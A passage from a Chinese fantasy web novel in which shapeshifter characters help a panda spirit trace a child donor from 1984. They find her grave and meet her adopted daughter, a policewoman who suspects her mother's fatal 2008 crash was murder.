理论上来说,胖子说的没错,如果他用商量的口气说,苏灵衣肯定让他,但是,他这么理直气壮地要求苏灵衣让给他,这苏灵衣哪里能忍,何况一会儿李寅寅就要回来了,好歹给她十个先啃着,总不能等了半天,一个都没得吃吧? 连烤鸡爪都守不住,他还有什么脸面在李寅寅面前转悠。 他见过冯墨抢购特价鸡蛋的英姿,那是连资深抢鸡蛋老人都被他甩在身后的利落矫健。 他不能输给冯墨! 苏灵衣已经在想应该怎么出手,再怎么一个滑铲,从胖子手里把那十个烤鸡爪夺下来,万一胖子报警,自己又应该怎么脱身。 虽然在体制内有关系有熟人,但是,也不能为了十个烤鸡爪去找奎木狼,那也太掉价了。 周围的观众已经很多了,李寅寅从人堆里挤进去,对胖子说:“你最好客气一点,不然,我叫人来抓你。” “你算……”胖子还没说完,就看见李寅寅变了脸,变成毛绒绒,白森森,凶气十足的虎面。 胖子顿时像泄了气的皮球,嘴半张不张,僵在那里。 李寅寅从他手里接过装着十个烤鸡爪的纸盒,在他们争吵的时候,摊主的第二炉已经烤好了,他麻利地给李寅寅又装了一盒,希望他们快点走,不要在他的摊子前面打架。 “走吧。”李寅寅招呼苏灵衣离开。 黄少芸已经拎着五六个塑料袋等在人少的地方:“这边这边!有地方坐!” 四人坐下,黄少芸吃得非常开心,四个大鸡翅,眼睛一眨就没了,只剩下一堆骨头,整齐地排着。 李寅寅笑道:“慢点吃,没人跟你抢。” 黄少芸含混不清地说:“不是啦,吃慢了就凉了,没那么香啦。” 忽然,李寅寅脸上的笑容一敛,她朗声道:“鬼鬼祟祟的,有话过来说。” 刚才那个与苏灵衣抢鸡爪的胖子从树后慢慢探出一个脑袋,露出讪笑:“哎呀,被你发现啦?” 李寅寅:“……” 她深吸一口气:“不是,这树一共就胳膊那么粗,起码得有十棵才能挡住你,就这么站在树后面,是不是有点太随便了?” “哦……”胖子没了刚才的嚣张气焰,缩头缩脑地走过来,向李寅寅鞠躬陪笑:“嘿嘿……大王好。” 李寅寅仰头喝了一口啤酒:“有什么事?” “那个,大王神通广大,能不能帮我一个小小的忙?” 苏灵衣“哼”了一声:“刚才抢我鸡爪的时候怎么没见你这么客气。” 胖子伸手抓了抓头,发出“嘿嘿嘿”的憨笑。 这胖子看着很傻,但是,苏灵衣和黄少芸都看不出它的原形,至少说明他们的妖力是相当的。 苏灵衣将询问的目光投向李寅寅:“他是什么东西?” 李寅寅说:“他啊,大熊猫。” 苏灵衣大为震撼:“!!!” 幸好刚才没跟他动手,他是国二,熊猫是国一。 要是有个好歹,尾火虎肯定不会偏向他。 要是以原形互咬,这胖子的原型肯定有一百公斤,他才四公斤……用屁股坐都能把他给坐死。 一边的黄少芸则是激动万分,跳将起来:“啊啊啊,大熊猫!你能不能变回原形,让我抱抱啊!我去大熊猫繁育基地,想抱抱大熊猫,他们都不让!我是从好远好远的香港来的!啊不是,我是从北美洲来的!!!特别远,特别不容易,让我抱抱嘛,我想拍照发给我的家人们看。” 黄少芸激动地指着自己背的熊猫包包、熊猫帽子、熊猫卡套:“我超喜欢大熊猫的!” 说着说着,她突然身形陡然缩小,变成了一只头顶熊猫头的黄鼠狼,连眼睛都被罩住了。 胖子为难地抓抓头,看着不远处的人山人海:“呃……” 李寅寅拉着黄少芸的手,将灵息从脉门传入,让她恢复人形,再转头地看着胖子:“别管她,先说你有什么事?” “我想请你们帮我找一个人。”胖子扭捏着,摇晃着身体。 “什么人?” “呃……我也不有知道……啊,我有信!” 信上的字体十分稚嫩,在寄信人那一角歪歪斜斜写着成都市泡桐树小学一(1)班,看起来那字是照着描的,间架结构都很迷幻。 信的内容也很简单,有一大半是拼音。 Xiong mo宝宝: 你好! 我是陈佳源,xi wang你kuai kuai le le的长大,不e肚子。 下面还画了一个简笔画的熊猫,熊猫身边堆满了竹子,熊猫正在睡觉,梦里的熊猫和一个扎着红头花的女孩子坐在一起,女孩子手里拿着竹笋喂熊猫。 时间是1984年6月1日。 “一封信就把你给感动得努力修成妖身也要找她?”李寅寅不理解。 苏灵衣拿起那封已经泛黄的信笺纸,似乎在想什么,忽然他问:“她捐钱给你了?” “嗯。”胖子用力点头。 “捐钱给他干什么?”李寅寅不明白这万千宠爱在一身的熊猫还要捐啥钱。 苏灵衣解释道:“七十年代末八十年代初的时候,卧龙,还有好几个熊猫保护区的箭竹大片开花,竹子开花就会枯萎,当时投入保护熊猫的力量没这么大,有不少熊猫被饿死。我记得号召全社会给熊猫捐钱买竹子吃,很多人都捐了,我也捐了五十块钱。” “就这点?”黄少芸做出一个嫌弃的表情,一根降龙爪爪就要五块了呢。 五十块钱也就够买十个鸡爪。 苏灵衣夺走她手里的鸡翅:“那是1984年!” “1984年怎么了?我阿叔刚修得人形,进公司找工作,也有两千五百块呢!” “你那是香港,我们大陆不是啊,我是学徒工,一个月就三十四块钱。”苏灵衣愤愤咬了一口鸡翅。 黄少芸“噢”了一声,又小声嘀咕:“真看不出来你是个大善人。” “嗐,我就是被一首歌给唱得一时冲动,现在想想,我们藏狐当时在高原吃不饱穿不暖,好不容易发现一只鼠兔,还要先跟兔狲干一架才能抢到,也没人说要捐钱给我。” 黄少芸眨巴着眼睛问道:“什么歌这么感人?” “竹子开花罗喂,咪咪躺在妈妈的怀里数星星,明天的早餐在哪里……大街小巷都唱,新闻还有快饿死的小熊猫趴在熊猫妈妈的怀里面,它妈妈已经不动了……” 说着,苏灵衣忽然扭过头,伸手擦眼睛。 黄少芸被苏灵衣如此丰沛的情感吓了一跳,李寅寅知道他是想起了自己当时的处境,满世界找狐族大祭司,得到的全是坏消息,哪里能受得了母子死别的新闻,一冲动,就把身上的大票子就给了出去。 胖子搓着手:“我就是卧龙保护区出生的,1984年的时候,我刚出生没多久,差点饿死,听说那个时候捐钱的人很多,不过像她这么小的不多,她才小学一年级,听说她在每封信里都夹着一分钱,每个月寄一封,坚持寄了一年,可能她一个月的零用钱就一分钱。” 黄少芸托着腮:“可是,信封和邮票钱都不止一分了吧?” 苏灵衣解释道:“信封是可以自己糊的,邮票么……可能是蹭她父母单位的。那个时候,谁不蹭单位的啊。” 苏灵衣掐指一算:“哟,她今年都快退休了。你这千辛万苦找到她,打算怎么跟她说?说你是她曾经捐款救助的熊猫?现在化为人形,来表示感谢?然后呢?你是想送钱?还是送好运?应该不会只想说一句谢谢吧。” “……”胖子显然没想到这一点,“我不知道啊,我前天刚化形,什么都不太懂。” “前天?!怎么做到的?”李寅寅很惊讶,建国之后能化形成妖的少之又少,不仅要能吃到六十年一遇的帝流浆,还要有相当的机缘。前天显然不是帝流浆降下的时间,他好好的怎么突然化形了? 胖子抓抓头:“我不知道啊,我坐在地上吃竹子,突然地上抖了一下,我忽然就能听懂人话了,也能化身成人形了。” 李寅寅:“抖了一下?地震啊?” “不是,就像地上冒出来一股气冲了一下我的屁股,从屁股进,从嘴里出来……我也不知道。” “前天什么时候?” “不知道,早上,太阳刚升起来。” 那个时候,正是李寅寅把罗刹王的脑袋削下来的时刻。 大地灵脉互相联通,罗刹王的头被削下来,魔息会在地下,顺着地脉向各地扩散,有灵气出口的地方,它就会喷出来。 四川,灵气出口,建木…… 李寅寅急忙问道:“你是在卧龙保护区的哪里?” “不是,我是在雅安保护区,我小时候在卧龙保护区,现在……” “具体在哪?” “不知道唉,我们平时就随便乱走走,走累了就停下,也不知道在哪里。” 这胖熊猫真正是一问三不知。 建木虽然是生长在成都平原上,但是供给它灵气的出口,却不一定是正好位于成都平原下方。 李寅寅正想着,胖熊猫又说:“不过我知道怎么走,那个地方是我最喜欢坐的地方,能找着。” “你能不能带我们去?”李寅寅问道。 “能啊,不过,我得先找到陈佳源。”胖熊猫小心翼翼把那封信收好。 李寅寅一拍桌子:“好!我帮你找!” 要找人,当然是公安系统找人最快,李寅寅找奎木狼走了个后门,不幸的是,全中国有几十万个叫陈佳源的,男女都有。 按年龄筛选,也没有好太多,那年月上学年龄相当混乱,有的人家里没人照顾,就把4岁的孩子直接扔去了小学一年级,还有八岁上小学一年级的,等于年龄跨度有四年这么多,不能精准定位。 直接找小学就更没戏了,1984年的小学老师现在早退休了。 唯一能当做线索的,是小女孩写信用的信纸,上面写着国营913厂,不幸的是,913厂在2004年就彻底倒闭了。 胖熊猫很沮丧,垂头丧气,搓着手指:“我是不是永远也找不到她了?” 李寅寅最见不得人这么快放弃希望,她一巴掌拍在胖熊猫背上:“胡说!现在才哪到哪?来!干了这杯大乌苏!明天就能找到人!” 第83章 女司机 913厂虽然已经倒闭了,不过当时涉及了复杂的情况,有人一把买断工龄,彻底跟工厂断绝关系,下海闯荡。 还有不少人当时三四十岁,在厂子里待了十几二十年,人又老实没路子,不愿意买断,每个月硬拿六百多块钱的安置工资,等着退休。 为了这些等待退休的人,厂子有一个专门的安置委员会。 委员会里有厂子里所有员工的资料,因为还涉及到独生子女的父母退休后的政策优待问题,所以,资料里还有这些员工的子女信息。 深夜、办公室。 苏灵衣看着办公室里唯一的一台电脑,感慨万千:“多少年没见过这么大的显示器了,记得那个时候,这种叫纯平的显示器还卖得很贵。” 再打开电脑,windows95的开机音和开机画面冒出来,苏灵衣感叹:“想起当年捞外快,教别人电脑的时候了。” “你还能教别人电脑?” “不然怎么办,那几年通货膨胀严重,物价飞涨,就凭着一个月一百多块的工资,我只能在厂区里消费,我也喜欢外面那些有趣的东西啊。” 狐族对好东西有着天然的兴趣。 埃及黑白沙漠里的狐狸,很喜欢咬游客忘记收进车里的东西。 有单反相机,绝不咬卡片机。 有MP4绝不咬MP3,最爱咬的牌子是索尼,不仅咬,还会拖走。 杂牌不会被咬,只会被踢两脚。 苏灵衣是一个走在时尚前沿的狐狐,流行的东西一样不少,什么喇叭裤、**镜、双卡收音机,他样样齐全。 为了追流行,就得有钱往下砸。 “你怎么学的?”李寅寅更好奇了:“去书店里看书?” 苏灵衣摇头:“别小看我啊,我可是在北大学的。” “啊?你怎么搞定学籍的?” “有心向学,要什么学籍,我又不要毕业证。”苏灵衣说起这个,精神十足。 “那会儿北大招收工农兵学员,就开了三个专业,汉语言文学、计算机和核物理。只要时间没有冲突的课,我都去旁听了。” 苏灵衣对自己没听全所有课程十分遗憾:“可惜我不会分身术,不然,我肯定都要去听的。” “你是不是自己去挖点铀矿,就能做出一个核反应堆?” “那不能,除了铀,还得有好多东西呢。” “所以,你是真的能做出来,只是材料不够?” “那当然,我为了验证所学的好不好用,参加了大亚湾核电站的建设工程。” 李寅寅被他好学的精神震惊:“你们狐族都这么好学,还是只有你这样?” “都这样,我们狐族想要修仙很麻烦的,先学尽天下鸟语,才能允许学人话,学会十种以上人类的语言,才被允许参加考试,考试通过了,才被允许修仙。” “你们考试考试什么?” “在五千个门类里面挑三千个,每个一题,错三题就不及格,我记得我有一题没做出来,好像是……要证明,任一大于2的偶数都可写做两个质数之和。还有一题没做出来,好像是九十多种金属,哪些金属做成锅以后无法使松嫩平原产出的大米变成可供人类食用的锅巴。” 李寅寅愣了一下:“反正……汞肯定是不行的。” “熔点低的都不行,有毒的也不行……我就想不通了,铅有什么不用的!商朝人的酒壶里都有铅,凭什么就算我错了!幸好我就错了两题,好歹是及格了。” 李寅寅很想问他,千辛万苦拿到资格,怎么修仙没修成,而且差距这么大。 想想还是没问出口,太伤人了。 毕竟不是所有中考成绩优秀的学生,都能当上院士的。 她还想八卦一点别的,苏灵衣点了点屏幕:“找到了。” “……牛逼!”李寅寅发自内心的夸赞。 文件虽然就在桌面上,但是,它的名字叫——新建文本文档(5),和其他二十多个文档放在一起。 它真的是文本文档,连个表格都不是。 最绝的是还打错了字,小姑娘叫“陈佳源”,登记的人给打成了“陈家园”。 苏灵衣在八百多个家庭里,锁定了这个名字:“除了这个名字之外,别的没有同音的字了。” “万一打的是五笔,岂不是死路一条,根本找不到?”李寅寅故意问道。 “不会的,”苏灵衣指了指另一个地址上的错别字,“这也是打拼音才会出的问题。我确定登记的人打的是拼音,可能是智能ABC。” 陈佳源的父亲叫陈勇,母亲叫白玉芬,两人都是厂里的员工,已经退休好几年了,一旁有地址,却没有电话。 地址是913厂为员工修的福利房。 李寅寅和苏灵衣到的时候,却发现这里在十几年前就拆迁过了,不少913厂的老员工都要钱,不要房,搬到了别处。 问了好多人,都说不认识陈勇白玉芬两口子。 后来问到一个七十多岁的老奶奶,是913厂的员工,总算有了点消息,老奶奶说:“他们已经搬走了。” “去哪了?” “不知道。” “他们女儿呢?” “死啦,就是女儿死后,他们才搬走的。” 李寅寅,苏灵衣:“!!!” “是生病吗?” “车祸。” 只有这么两个字,是无法满足苏灵衣的,他觉得这样没法跟胖熊猫交待:“他这么想见到捐款人,肯定得去上个香再走吧。” 苏灵衣详细问了陈佳源是什么时候过世的、埋在哪里等等,好歹让胖熊猫有个地方寄托哀思。 可惜老太太一问三不知,只知道陈佳源有个养女,具体情况不知道:“有人知道,赵极,那个时候是他帮陈佳源办手续的。” 赵极是913厂最后一批员工,进厂的时候,厂就不行了,干了两年,厂就倒闭,他把那不值钱的工龄给买断了,然后痛快的下海,去荷花池批发市场搞了个摊位,专门卖礼品。 找到赵极的时候,他正跟几个外国人扯什么天圆地方,天地玄黄……神叨叨的。 苏灵衣看到赵极手上拿着的两件东西,不由瞪大了眼睛:“白圭玄璧?!” 赵极听见,顿时笑容满面:“哎,这位帅哥真有眼力!这就是白圭玄璧!周穆王,就是两千多年前,中国的皇帝,他送给西王母的礼物!不过我这是仿的,不是真的,要是卖真的,我就要被抓进去了。” 外国人也笑了起来。 这几个外国人是在外企工作的职员,虽然说中文还有口音,不过,对于摊贩砍价什么的,却是门清,赵极开价五百,他们砍到二十。 赵极说雕工都不止这个价,他们指出物件上面明显的模具铸造痕迹。 双方拉扯一番,最后以二十五块钱的价格成交。 送走这几个外国人,赵极见苏灵衣和李寅寅还没走,便问:“两位想看看什么?” 苏灵衣说:“哦,我们是想问问,您认识陈佳源吗?” 赵极上下打量着他们:“你们是……” “我是陈阿姨中学同学的儿子,我妈说那个时候,她跟陈阿姨关系特别好,陈阿姨还说要认她儿子当干儿子,我妈同意了。这次我和女朋友来成都旅游,我妈说让陈阿姨也见见。” 苏灵衣连眼睛都没眨,就编出一套庆来。 赵极看看苏灵衣,又看看李寅寅,叹了口气:“唉,她啊,早就过世了,你妈妈不知道吗?” “我妈考到大学以后,就没回来过,后来又出国定居,也没有她家的联系电话,想着有地址,总归不会找不到人,我按照地址找了很久,结果听说陈阿姨已经过世了?我想替我妈好歹祭扫祭扫。” 苏灵衣情真意切,看不出有任何毛病。 陈佳源都已经死了,就算是两个骗子,又能骗什么呢? 赵极痛快地把陈佳源的墓地位置告诉苏灵衣和李寅寅。 苏灵衣临走的时候,忽然问道:“这白圭和玄璧不是传说中的东西吗?你怎么会有模具?” “嘘,小声点!”赵极着急。 李寅寅都不知道他有什么好着急的,在白圭的侧面,甚至都能看到液态塑料流下时的痕迹,就像挂在粥锅边的糊糊。 赵极告诉他们:“这是跟太阳神鸟一起出土的,没展出,我正好在那边帮忙,觉得好看,就拓下来了。” “哦,确实好看,给我来两块。”苏灵衣说着就要掏钱。 赵极麻利地给他装塑料袋里:“你是佳源的干儿子,什么钱不钱的。” 看看时间已经是下午六点,赵极拍着苏灵衣的肩膀:“我正好要收摊了,叔请你们吃饭,尽一尽地主之谊。” 他找了一个路边饭馆,叫了几个菜,点了几瓶啤酒,酒过三巡,菜归五味,赵极的酒劲上来了,他打量着苏灵衣:“唉,要是我跟佳源在一起,生下的儿子也跟你差不多大了。” 苏灵衣给他把酒杯满上:“叔叔跟干妈……曾经是一对啊?” “儿豁!”赵极用力点头。 儿豁的意思,是“儿子才骗你”,算是成都人相当认真的发誓。 苏灵衣又问道:“那是怎么没有在一起呢?” “唉……她非得收养一个女娃娃,我说再等等,要么给她爸妈收养,她一个没结婚的妹娃儿,带个孩子,这这这这……好说不好听哇,她就是看电视剧看的,说她要当刘慧芳,要收养小芳。” “刘慧芳是谁?”李寅寅压低声音问苏灵衣。 “《渴望》里的女主角,九十年代放的,那会儿全国都在看,真正的万人空巷。” 赵极叹了一口气:“我怎么劝都没用,我家老汉儿就不同意了。” “他爸妈也不拦着?”李寅寅不明白,自己二十多岁未婚的女儿要收养小孩,这哪个正常的家长不拦? “哎,他们在南方打工,哪有时间管她,有两年,连过年都没回来,说生意特别好,暂时不回来了。” 913厂其实在九几年就不行了,生产线全线停工,有点勇气的都选择停薪留职,冲到南海边被一位老人划了一个圈的地方试水。 那个时候,陈佳源已经十八岁,陈勇和白玉芬两口子果断跟着一个很有头脑的同事一起去了广州,后来又去了深圳,在蛇口和珠海倒腾电器。 陈佳源没念大学,她听说跑长途运输赚钱,就学了开大车,进了车队,像男人那样跑长途。 “从连云港,开到新疆乌鲁木齐,你们猜她用几天?” 李寅寅猜道:“五天?” 赵极抿着嘴,笑着摇摇头:“两天,四十个小时。” “一千多公里?四十个小时?” 这得是超速加疲劳驾驶吧? 赵极点点头:“儿豁!不停车,在车上吃饭,也不睡觉,就上厕所的时候休息一下。” “好拼啊,是为了多跑几趟吗?” 赵极:“除了是为了多跑,还因为路上有好多地方太乱了,车匪路霸你晓得吧?那个时候,省跟省交界的地方,乱得很,根本没得人管,是男的就杀,是女的就……哎,就那个……就算遇不到车匪路霸,还有偷油的,有父子俩开车,睡了三个小时起来,油箱里的油,一滴都不剩咯,全给油耗子抽干咯,哭都没得地方哭去。” 他看着李寅寅的头发:“你干妈那个时候就剪成她这样的发型,还要再短些,是个小平头,衣服也穿得宽宽大大,像个男娃,说这样路上安全。哎……别的男司机,好多都是老婆跟车,帮着打理和做饭,她一个女人,就一个人……我劝她不要干了,她说她一个月能跑八千块,她不干了,我能养她嘛?” “我啷个能养得起她嗦,我一个月工资才四百块……她还说让我去给她洗衣做饭,我一个男人,啷个能干这种事嘛。” 苏灵衣小声嘀咕:“也不是不能。” 赵极不满地瞥了他一眼:“小娃儿,你的思想很危险!想什么不好,想吃软饭!” “不是软饭,是家里总得有分工嘛,一个人赚很多钱,没有时间管别的事,那另一个人就负责帮她打理杂事,这个家才能维持下去。” 赵极摇摇头,嘴里嘀嘀咕咕,大概在说现在的男娃都懒得很,一点血性都没有…… 苏灵衣无意纠正他的观念问题,又问:“收养的女娃是从哪里捡的?” “就是跑车时候捡的嘛,好像是在定南县那边,我也没问,她就说要帮女娃上户口,给她当娃儿。我说让她爸妈收养,她说她爸妈一年都不回来一趟,要签字要办事都不方便,我说等我们结婚,再收养,她说她还没想好要不要嫁给我,我说让她送福利院,她说福利院里的条件差……我真是没得办法想,她知道我家有点关系,非逼着我帮她解决娃儿户口的问题……哎,我实在没办法,只好帮她。” “这都行?十八岁的女孩收养孩子?” 赵极又给自己满上一杯:“资阳,小地方,那个时候,只有你想不到,没有你做不到,现在是不可能咯。” 赵极一仰头,把杯中酒一气饮干,说出更多跟陈佳源有关的事情。 陈佳源十八岁跑车,二十岁正好赶上98抗洪,四川地区的灾情也特别严重,那个时候,能上的司机都上了,往大坝送水泥、石块。 九江决堤,一麻袋一麻袋的石头扔下去,连个影都没有就被冲走了,最后用卡车装着石头往大堤缺口冲。 “当时都是军人开车冲,陈佳源说那是她女儿的故乡,她也要帮着出份力,就混到车队里,开了好几趟才被人发现,给她揪下来,让她不要捣乱,她还不服气,说我跑得最多,凭什么说我捣乱。” 赵极想到旧日恋人明艳飞扬,意气风发的模样,嘴角不禁扬起一个弧度。 他又说了很多很多,说到2008年,陈佳源去拉援助物资,然后,就遇上了车祸,他的眼圈红了:“我都说了,叫她不要疲劳驾驶,多休息,那么多人,不缺她一个,她就是不听。” 李寅寅和苏灵衣安慰了他半天,到最后,饭店要打烊了,苏灵衣要结账,已经瘫在椅子上的赵极一把抓住他:“说好了是我结,啷个要你付喃?!” 他很大力地将苏灵衣推开,大声叫服务员过来买单。 两人打车送赵极回去,家里有人,还没敲门,就听到门里传来女人教训不肯好好写作写的孩子的动静。 苏灵衣敲门,开门的是一个扎着低马尾,容貌相当温婉贤淑的女人,与赵极口中描述的陈佳源气质完全相反。 她接过赵极,抱怨他怎么喝了这么多,谢过两人,李寅寅和苏灵衣告辞离开。 到楼下,苏灵衣抬头看了一眼那扇亮着灯的窗户:“我始终不明白人类是怎么能做到把一颗心分成那么多份的。他明明还喜欢陈佳源,怎么还能跟另外一个女人生孩子,如果说他爱的是同一个类型……这位也不是啊。” 李寅寅随口应道:“人类的男人不是喜欢才能跟人生孩子的,只要那个功能在,他们就能生。” “唉,我知道……喜欢男人的男人也能跟女人生孩子,还有山羊、巨蜥、树洞、地坑、公园长椅上的洞、苹果派、摩托车排气管……不像我们一族,要是这么干的话,会被同族耻笑,对着不是自己伴侣的生物或者非生物,都……都一点兴趣都没有。” 李寅寅突然一笑:“你是不是想说都硬不起来?” 苏灵衣涨红着脸:“不是!我才没有那么粗鲁!” “不用这么有偶像包袱啦,你都活了几千年了,不用压力这么大。”李寅寅笑着搭着他的肩膀。 苏灵衣忽然问:“你不生气吗?” “气什么?” “我说你是我女朋友。” 李寅寅奇怪地看着他:“你那你还是陈佳源干儿子呢。不是编故事吗?我气什么?” “……”苏灵衣表情复杂,他走在李寅寅身后半步的位置,不然李寅寅一定会看见他本体的耳朵都耷拉下来,尾巴也拖在地上,提不起半点精神。 没过一分钟,他自己又调理好了:她不喜欢我也好,反正我都要离开她了,分开的时候,她不会难过,以后她路过白玉京的时候,也许我还能见见她,也不算白相识一场。 李寅寅转头看他的时候,苏灵衣又恢复了原本从容温和,对世界充满兴趣的模样。 “什么事?” 李寅寅说:“我想,明天咱们先去给陈佳源祭扫一下,好歹把坟头上的灰啊草啊收拾收拾,然后再告诉胖子,别让他看见个荒坟,太打击了。” “我也是这么想的,我已经跟花店订好菊花,香烛纸钱也约好了了。”苏灵衣冲她晃晃手机,让她看见订单。 李寅寅赞叹道:“不愧是你,连胃土雉都没你这么周全。” 苏灵衣又开心了起来:“真的?” “儿豁!”李寅寅学着赵极的腔调说了一句,自己笑起来。 第二天一早,苏灵衣和李寅寅一起去花店和寿衣店取预订好的祭扫用品。 “你到底买了多少?”李寅寅震惊,在她想来,不就是左手一捧花,右手一个装着金元宝、纸钱的塑料袋吗? 眼前这个小卡车是什么意思? 很快,她就知道是什么意思了。 从寿衣店取出:金元宝、纸钱、招魂幡、十辆车子的模型、两栋别墅模型、二十个纸人。 从花店取出了十个花圈。 花圈上写着: 给亲爱的女儿 给亲爱的小姨 给亲爱的干妈 给亲爱的外甥女 给亲爱的侄女 致亲爱的同学 致我最好的同事 致可亲的同行 致曾经一起奋战在九江大坝上的战友 致曾经在北川并肩的同志 …… 老板看着苏灵衣和李寅寅两人的表情十分微妙,收了钱,开了票,装上车,老板的表情依旧十分纠结,李寅寅看不得他这么痛苦,开口:“你是不是有什么想问我们的?” “哎……也没什么……就是,呃,你们看一下这个称呼什么的……没错吧……” 苏灵衣扫了一眼:“没错。” 忽然,他好像领悟了什么,解释道:“这是同一个人,她家里人都不在这,我们是受委托……” “哦哦哦……懂了懂了。”店主的表情像是松了一口气。 上车后,苏灵衣向李寅寅一笑:“他可能以为我们遇到了特大事故。” 李寅寅眉毛微挑:“也可能是以为我们俩谋杀了这么多人。” 今天是工作日,公墓空无一人。 苏灵衣和李寅寅两人各展神通,轻松把车上所有的祭扫用品搬下来。 待找到陈佳源墓碑时,他们赫然发现,墓前蹲着一个人。 是一个干练的短发女性,约二三十岁,穿着警服,眼圈红红,她似乎在对墓碑说着什么。 她感觉到有两座大山向自己移过来,不由转过头去看,被苏灵衣和李寅寅手里举着的“山”震惊。 “你好!”苏灵衣抢先开口,然后把对赵极编过的故事再说一遍,又解释了为什么花圈上的称呼花里胡哨:“有一个人是干妈的故交,他从很远的地方赶来祭扫,我们不想让他看到干妈坟前冷清,所以就想了这么一个主意。” 至于举着那么多东西,也没什么好解释的,天生神力有什么错。 女警得知苏灵衣是陈佳源的干儿子,表情缓和了许多,她向两人自我介绍,她就是陈佳源收养的女儿,名叫陈芳锋。 苏灵衣叹道:“干妈开了一辈子的车,没想到,会因为开车,积累成疾……” 他小心的避过了“疲劳驾驶”的字眼。 不料陈芳锋听到这句话,神色一冷:“我不相信是意外。” 李寅寅马上跟进:“你怀疑是谋杀?” “是。” 这件事其实不是什么秘密,在陈佳源刚去世的那一年,就有风言风语,说她知道了一些不该知道的事,被人灭口。 但始终没有任何证据指向车祸是有人蓄意而为,转眼十多年过去,证据早已湮没无踪。 李寅寅猜测她想当警察,与陈佳源的死有关。 不过舆论大风向是选择做公共服务事业,就必须是全心全意为别人服务,不能带一点私心,李寅寅也没有问她是不是,反正……是不是都不要紧。 李寅寅对她说:“我是做宠物生意的,跟三教九流都有打交道,还有不少身份特别的人是我的客户,也许,你可以跟我说说?” 陈芳锋看着她,似乎在思考她是否可信。 白虎星最不缺的就是让人信服,愿意跟随的能力。 很快,陈芳锋便对她说:“今天我轮休,到我家坐坐吧。” 第84章 招摇撞骗 陈芳锋住的地方是一个位置相当不错的小区,现在的房价之高,是许多人都得掏空六个钱包才能买得起的学区房。 进屋后,陈芳锋请两人坐下,自己去厨房烧了一壶开水,取茶叶,给两人泡茶。 从屋子里的一些个人用品看,只有陈芳锋一个人住,偌大的房间里很空旷,没有玩偶摆设,也没有任何装饰物,字面意义上的极简。 装饰的很不错,水晶灯、木地板、电视机柜、三人真皮沙发……虽然风格是八九十年代的配方,但是在八九十年代绝对是顶极水平。 这屋子里的气息也证明这里很久没有第二个人进入了,陈芳锋不仅独居,也没有邀请朋友过来做客的习惯。 在李寅寅观察屋子的时候,陈芳锋也没有闲着,她并没有那么快就相信两人,她通过自己的渠道对两人进行了一下调查,在奎木狼的帮助下,资料完美无瑕,甚至还有多次协助警方的优秀记录。 除非陈芳锋能在背地里把与两人相关的人类都拉出来,当面问一遍,否则什么都查不出来。 “刚才来的时候我看到那边是个小学,这是学区房吧。”李寅寅问道。 “我就是那个学校的学生,以前是我和我妈妈住在这里。”陈芳锋端着两杯茶出来,自己又折回去取了自己常用的杯子。 身为“陈佳源的干儿子”,苏灵衣直接切入正题:“你说干妈是被人害死的?” “她死的那一年,我刚上小学四年级,他们以为我什么都不知道,在追悼会上当着我的面说了很多。” 陈佳源在98抗洪中的积极表演,先后被评为市劳动模范和三八红旗手,青年突击手,荣誉先后加身,她自己也充分感觉到帮助别人的快乐。 开大货可以帮助到别人,但是能帮助的有限。 如果可以有官身,有更大的权力,就可以帮助更多的人。 于是,她以这些荣誉为阶,顺利进入与防灾救灾相关的部门。 别人都劝她不要去那里,多累啊,无事的时候看不出功,有事的时候还得背锅,她依旧固执己见。 在2008年救灾的时候,她奉命去调拨一批粮食给受灾严重地区,刚开始还没事,她还每天打电话回来,问陈芳锋的学习,忽然有一天,就再也没有打电话回来。 又过了两天,就收到陈佳源遭遇车祸身死的消息。 陈芳锋在追悼会上显得十分自闭,别人都以为她沉浸在悲痛中,关注不到周围,就忍不住窃窃私语: “听说她是去西乡粮仓的时候出事的?” “西乡那可是老大难,几年前就出过事,也不知道怎么就没声音了。” “还不是因为后台硬。” “是……一张?” “不然呢?” “难怪……都升上去了。” “哎,别说了……小陈就是太……哎……她以为有那些身份,就能干什么。” “她就算是特级战斗英雄,也束手无策。” …… 陈芳锋又说:“我看到档案了,也去走访了当时在路边开小店的人,我妈死的时候是白天,是一个大晴天,那么宽的马路,都没有什么人。那个司机被判了一年,然后死在了监狱里,说是放风的时候,跟其他犯人玩躲猫猫,不小心撞死的,在他死后,他母亲去银行,存了六十万现金,那个时候,六十万……但是,那个时候银行不会问六十万是从哪里来的,如今他母亲也已经去世了……” 李寅寅轻声吐出四个字:“死无对证。” “是啊。”陈芳锋微微抬起头,重重吐出一口气,露出一丝无奈的苦笑。 李寅寅十分理解陈芳锋的痛苦,也知道陈佳源的案子有多么难搞。 当初她的军饷被克扣,援军跟死了一样怎么都等不来,在她险死还生之后,她去查过,不是国丈,就是国舅,要么是王爷,至少也是个封疆大吏……没有一个动得了,只能秋后算账,跟太子搞好关系,等太子登基,再一把将他们弄死。 只是东宫太子与武将勾结这种事情,对坐在宝座上的皇帝来说更可怕,李寅寅也有几次翻车,御史弹劾,监军打小报告,太子被废被杀,她要么被杀要么被迫造反。 总之,就是不好办。 非常不好办。 李寅寅抬头看了一眼苏灵衣,发现他也在看着自己,眼里满是担忧。 苏灵衣虽然没有亲自经历过那些玩心眼的事情,但是他熟读人类历史。 那些所谓的“前知五百年,后知五百年”的神人,并非玄学和硬扯。 前知五百年是读书明理。 后知五百年是前事不忘,后事之师。 苏灵衣已经猜到陈佳源遇到了什么,也知道陈芳锋就算查到,也做不了什么,只会徒增烦恼,要么匹夫一怒,血溅五步,然后自己被抓,判个故意杀人,要么只能看着凶手逍遥快活。 正如他自己,恨饕餮恨得要死,却只能忍耐,没有别的办法,就连李寅寅都不以给他一个手刃敌人的保证。 现在他每次看到翔龙美食城和龙家相关的消息,心里都像被一只手狠狠揪住,再重重拧一把。 偏偏这两个名字总是时不时的出现,就算屏蔽了关键词,也会从各种角落里冒出来。 只能含恨骂两句,诅咒他,寄望于老天爷会惩罚他之外,对饕餮没有一丁点影响。 自己淋过雨,就想给别人撑起一把伞。 苏灵衣真心希望陈芳锋不要像自己一样,没有明确的敌人会让她牵肠挂肚,有了明确的、又干不掉的敌人,她只会更难受。 但是苏灵衣不能说,做为陈佳源的干儿子,他劝陈芳锋放弃追查,这就相当的不符合人性。 他希望李寅寅能劝劝陈芳锋,她的身份让她可以站在客观冷静的立场上去说这件事。 李寅寅开口了,只是她的劝说与苏灵衣想的不一样。 李寅寅单刀直入:“我虽然不在体制内,不过有些事情还是知道一些的,如果查到的人,是你动不了的身份,你会怎么办?半夜蹲他家门口把他捅了,还是把他的车炸了,连夜烧了他全家?” 相当的简单粗暴,苏灵衣默默扭头,只能说不愧是她。 